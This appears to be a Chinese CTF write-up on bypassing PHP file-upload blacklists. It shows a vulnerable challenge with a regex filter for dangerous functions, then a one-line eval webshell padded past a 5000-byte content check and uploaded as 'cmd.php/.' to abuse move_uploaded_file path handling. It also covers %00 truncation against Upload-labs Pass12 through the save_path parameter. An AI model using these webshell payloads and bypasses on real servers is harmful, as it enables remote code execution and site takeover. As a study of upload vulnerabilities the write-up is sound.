利用move_upload_file()特性绕过文件后缀名黑名单
做题的时候偶然间发现了文件上传中一种新的绕过方式,记录下来吧
move_upload_file()
特性
/.
绕过
先入为主,先来介绍下要利用的特性:
在move_upload_file()
函数中有一个特性,在文件移动时如果文件后存在/.
,那会自动将/.
去掉,所以我们就可以使用该特性来绕过黑名单的检测,从而实现文件上传。
例题
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("不允许上传此类文件!");
}
if ($file['size'] > 2 * 1024 * 1024) {
die("文件大小超过限制!");
}
$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
$dangerous_patterns = [
'/<\?php/i',
'/<\?=/',
'/<\?xml/',
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/',
'/\/\*\s.*\*\//',
'/#/',
'/<script\b.*?>.*?<\/script>/is',
'/javascript:/i',
'/on\w+\s*=\s*["\'].*["\']/i',
'/[\<\>\'\"\\\`\;\=]/',
'/%[0-9a-fA-F]{2}/',
'/&#[0-9]{1,5};/',
'/&#x[0-9a-fA-F]+;/',
'/system\(/i',
'/exec\(/i',
'/passthru\(/i',
'/shell_exec\(/i',
'/file_get_contents\(/i',
'/fopen\(/i',
'/file_put_contents\(/i',
'/%u[0-9A-F]{4}/i',
'/[^\x00-\x7F]/',
// 检测路径穿越
'/\.\.\//',
];
foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("内容包含危险字符,上传被奶龙拦截!");
}
}
$upload_dir = 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$new_file_name = $upload_dir . $name;
print($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
} else {
?>
<!-- 文件上传表单 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<div class="upload-container">
<h2>你能逃出WAF吗?</h2>
<form action="" method="POST" enctype="multipart/form-data">
<label for="upload_file" class="custom-file-upload">选择文件</label>
<input type="file" name="upload_file" id="upload_file" class="file-input">
<input type="submit" value="上传文件" class="submit-btn">
</form>
</div>
<script>
document.querySelector('.custom-file-upload').addEventListener('click', function() {
document.getElementById('upload_file').click();
});
</script>
</body>
</html>
<?php
}
?>
题目中对于内容检测的过滤很严格
但是可以利用下面这段代码,在一句话木马前写入5000个字符,绕过过滤
$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
即:
aaa*5000
<?php @eval($_POST['cmd']); ?>
接着利用上述move_upload_file()
的特性绕过后缀名过滤
move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)
于是上传文件时传入?name=cmd.php/.
就可以上传木马了
最后可以通过在/uploads/cmd.php
执行命令
%00
截断绕过
php的一些函数的底层是C语言,而move_uploaded_file()
就是其中之一,遇到0x00
会截断,0x
表示16进制,URL中%00
解码成16进制就是0x00
。
在php版本<5.3.4,并且magic_quotes_gpc
关闭的情况下,可以利用%00
截断
magic_quotes_gpc
着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc
开启还会对$_REQUEST
,$_GET
,$_POST
,$_COOKIE
输入的内容进行过滤
相关函数
strrpos(string,find[,start])
函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])
函数返回字符串的一部分(从start
开始 [,长度为length]
)
例题(Upload-labs-Pass12)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这个Pass是白名单,最终文件的存放位置是以拼接的方式$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
,
可以使用%00
截断,但需要php版本<5.3.4,并且magic_quotes_gpc
关闭。
抓包修改参数?save_path=../upload/normal.php%00
并且修改文件名normal.png
最后蚁剑链接/upload/normal.png
即可